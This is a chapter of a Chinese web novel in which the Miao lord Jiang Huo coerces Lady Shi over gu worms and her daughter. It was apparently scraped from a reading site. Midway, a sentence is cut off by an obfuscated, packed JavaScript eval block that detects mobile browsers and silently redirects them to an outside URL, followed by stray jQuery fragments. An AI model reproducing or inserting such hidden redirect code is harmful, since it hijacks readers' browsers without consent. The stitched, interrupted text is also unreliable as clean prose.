20. 第 20 章

作品:《捡走病弱苗疆少主后

    “什……什么?”


    “难道夫人没有察觉?”


    “我近来的确发现她感知迟钝不少,有时冷热都不知,可我以为是她不在意……”


    江火闻言微哂,唇角勾起讥讽的笑意,继而好似想到些什么,他的嘲意微收,拧紧了眉心。


    时夫人心里乱成一片,顾不得其他,抬眸追问道:“可父亲当年却让我与江寒成婚,江寒并非是月出族的人。”


    她还是有些不信,眼前这少年性子诡谲难辨,心思九曲回肠,比之浸淫宦海多年的朝廷命官还可怕一些。


    况且他自苗疆来到永州,恐怕就是为了寻她,好去解决双蛊的问题。


    也许是他想骗她帮忙?


    毕竟月出族的机关,若无本族人在场,那可是极难对付的。


    江火抬抬眼皮,淡扫她一眼,便已看穿时夫人的心思。


    他嘴角浮起一丝冷意。


    “当年月出族人丁凋敝,因着善于养蛊的天赋,致使多方势力虎视眈眈,月出族族长正因如此,才急需要一个强有力的依仗,否则以苗疆当年的乱局,只怕还未等你们的族长琢磨透那入谷机关的用法,月照谷便已然被血洗侵略了。”


    “至于婚约嘛,我曾在古籍中得知,若是月出族族人与外人成婚,只需要在十八岁前用谷内的圣草研磨成药,不久便能去除恶疾。”


    少年口吻轻描淡写,说着目光落在桌面的拨浪鼓上,随后他身子微微坐起,随手将它拿在手上,一下一下轻轻摇晃着,笑得好似染了邪气的翩翩公子。


    时夫人看着他七分邪肆的俊颜,顿时分不清真伪了。


    可她实在不敢拿女儿的性命去作赌注,左右江火做了这么多,目的都是为了逼她,她也没有任何能够反抗挣扎的余地。


    毕竟时夫人跟在时剑身边这么多年,对玉国的内忧已多少有数,当今圣上沉迷享乐,其下大皇子和二皇子为太子之位争得你死我活,权贵阶层都在明争暗斗,苗疆势力的崛起又导致玉国的危机加重许多。


    去年苗疆少主随手写了份手书,上面戏谑地提及,想知道国玺是个什么规制?


    当时满朝哗然,全都恨不得口诛笔伐,大斥苗人胆大包天,蛮夷之地竟敢效仿中原,狼子野心,其心可诛!


    更何况那少主所用的书信,乃是乡野最不起眼的材质,足可见其狂妄轻慢。


    结果吓得圣上临时召集各方工匠,花费无数金玉,打造了一枚巧夺天工的玺印,战战兢兢送给了来朝的苗疆使者。


    可听闻,那苗疆的主上只瞥了眼,随后漫不经心,当着所有人的面,赏给了手下。


    笑道:“我不过随口一问,玉国的君主也太郑重其事了。”


    玉国使者当即憋红了脸,却也不敢出言驳斥。


    但这是羞辱,也是示威。


    可那又能如何能?


    弱肉强食,倘若苗疆一旦当真和玉国撕破脸,只怕不用开战,败局便已然注定,玉国不能打,百姓也经不起摧残。


    时夫人念及此,不由得将注意力转移回他此行的目的。


    “所以,你想要我做什么?”她问道,目光落在少年眼尾的刺青上,心里多少有几分揣测。


    “夫人当年培育出双蛊,雄蛊已入了我体内,母蛊在蛊盒里养着,我以身饲蛊却也耸壑凌霄,可夫人也知其中的利害。”江火慢慢悠悠道,语气轻描淡写,丝毫看不出他的重视。


    可时夫人却心知肚明。


    双蛊能成就一代枭雄,也能毁了寻常人的身体,他这样疯狂地征伐,南征北剿,所用越多,承受的痛苦就越大。


    想必那种削皮挫骨之痛时时伴随,折磨得人也癫狂起来,才如此喜怒阴晴不定,冷与热本末颠倒。


    毕竟人是肉体凡胎,哪里经得起这样的破坏?


    那蛊虫,又是如何入体的?


    江火说起此事越是谈笑风生,时夫人心里就越是觉得畏惧,如此能忍的人,其狠厉只怕让人胆寒。


    “唯一能缓解此痛的,只有命蛊了。”时夫人蹙眉道。


    江火闻言略带诧异,分明月出族的人也能缓解。


    可这念头在心里一闪而过,而是道:“命蛊如今在小娥体内。”


    时夫人身子一颤,因为太过紧张,没有注意他亲昵的称呼。


    除夕夜时她去了趟酒窖,打开了暗室,却发现里面的蛊虫悉数死亡,命蛊被人盗走,几番追究自佩儿处得知,苗人入时府时,唯有时烟萝去过酒窖。


    她顿时错愕了,小娥手无缚鸡之力,根本不可能杀死那么多蛊虫,直到那日看到了江火。


    少年含笑凝视着她的女儿,温软的一双眉眼,病气得近乎透明的肌肤,本是极破碎隽永的画面,可时夫人却好似看见了蛇蝎美人。


    “怪不得……她身上有一半我的血脉,命蛊会选择她也实属正常。”时夫人喃喃自语道。


    江火揉了揉眉心说:“我需要将命蛊引出,渡至体内。”


    时夫人又惊又恐,不经思索道:“你……你竟然想承受两只蛊虫,雄蛊和命蛊都是苗疆不可多得的,你……你这样,不怕盛年夭亡?”


    “我不会帮你,这种事情太疯狂了,我不想害人性命!”


    她嗓音都发颤,实在难以置信。


    江火掀掀眸子,笑意加深,端的软声细语,开口却是威胁,语气让人不寒而栗。


    “夫人觉得,你有什么本事能来违抗我?”


    “我乃苗疆之主,你曾为苗疆域民,如今虽嫁给了玉国人,可成王败寇,只需要臣服。”


    “毋需质疑。”


    时夫人看着他的目光,犹如看一个丧心病狂的疯子,一个不择手段的赌徒。


    江火说了许久的话,此刻有些不耐,他瞟了眼莫辞,那蓝袍少年跟着上前,继续着方才的对话。


    他随手摆弄着拨浪鼓,玉白的指尖轻敲那鼓面,矜贵得如同上京的贵公子,烦躁得云淡风轻。


    鼓声时断时续。


    让人惴惴不安。


    “夫人,你只需要随我们少主走一趟,去到月出族,这命蛊引渡,还需要族长给出办法,到时候你也可以解决宁乐郡主的隐疾,如此一举两得,岂不美哉?”莫辞敛目低眉道,语气平平淡淡。


    时夫人想到月出族对待叛徒的处置方式,脸色微微泛白。


    莫辞见此,微微一笑说:“夫人放心,有少主在,必定保你平安无事。”


    “那……小娥……”她不想女儿知道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14273217|150931||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那些不堪的往事,作为母亲自小便不在她身边,已经愧疚之极。


    时夫人希望,时烟萝就做个无忧无虑的小女郎,嫁得一位良人,平安顺遂地渡过这一生。


    谈到时烟萝,江火玩拨浪鼓的手,忽然停下。


    莫辞不敢多言,及时住嘴。


    时夫人诧异于他的态度,却因江寒以及此刻他一方之主身份的缘故,只敢往利弊上想,下意识觉得,他还是想将时烟萝作为筹码,来威吓自己。


    于是她抢先辩白道:“小娥是无辜的,我会随你去苗疆,请你相信我。”


    女人性子泼辣惯了,一向是凌厉又果敢,即便随夫出征也不见柔弱,活得像是一棵松柏,此刻却彻底软下来,满眼都是恳求,殷殷期盼地看着对面的少年。


    江火笑意微敛,盯着她不知在思索什么,随后他瞥了眼时夫人身上一个穗子,年代久远,想必贴身佩戴许久。


    “那是郡主编给夫人的?”他忽然问道。


    时夫人神情怔松,完全没反应过来,他为何有此一问,可也不敢懈怠,认认真真点了点头。


    “有一年我回了上京,去见寄养在夫君同袍处的小娥,最后走时她追出来,塞给我这个穗子后,头也不回地一溜烟跑了。”时夫人眼含热泪道,明白那时,时烟萝必定躲在墙后面哭了很久。


    因为她能听到孩子蛛丝般压抑,又断断续续的哭声。


    “嗯。”江火道,不着痕迹往腰间瞥了眼。


    我也有。


    不止穗子。


    他又勾了勾唇,忽然和颜悦色起来。


    时夫人沉浸在自己的思绪里,擦了眼泪,接着问道:“少主,不要牵扯进小娥,可以吗?”


    他注视着她,目光扫过那泛红的眼,又莫名笑了笑,柔声道:“好。”


    “可我这里离开,万一夫君追究起来怎么办?他并不知我的身份。”


    “此事不难,夫人放心便是,我自有安排,永州那所谓的总兵自以为严防,可他却不知,永州这点戒备在我眼里不过可笑。”


    “到时候,我自然会不打草惊蛇的。”


    此间事基本谈妥,江火也就起了离心,在临走之际,忽然听见时夫人说:“还有一件事,希望少主成全。”


    他侧耳倾听:“何事?”


    时夫人低头道:“小娥心思单纯,少主既然目的已然达到,可否离她远一些?”


    江火太危险,她是真的怕。


    本以为那人会答应得爽快,却不料他忽然没了声音。


    时夫人觉得奇怪,不禁抬头向上看一眼,瞬间僵立在原地。


    少年面无表情,瞳色黝黑,冰冷的暗芒在眸子里闪烁着,眼睫处的猩红就加深,在这昏暗的亭子内,生出阴沉骇厉的意味。


    可很快,他就唇角微勾,似笑非笑起来。


    时夫人呼吸都费劲,指甲嵌入了掌心,心凉了半截。


    她已无法思考,失声喊道。


    “江火……当年若是……”


    “小娥其实算你的妹妹!”


    这话好似划破寂静的一道利刃,不仅割得周遭气息都淡下去,更是让不远处的时烟萝瞪大了双眼。


    江火,竟然是她的哥哥吗?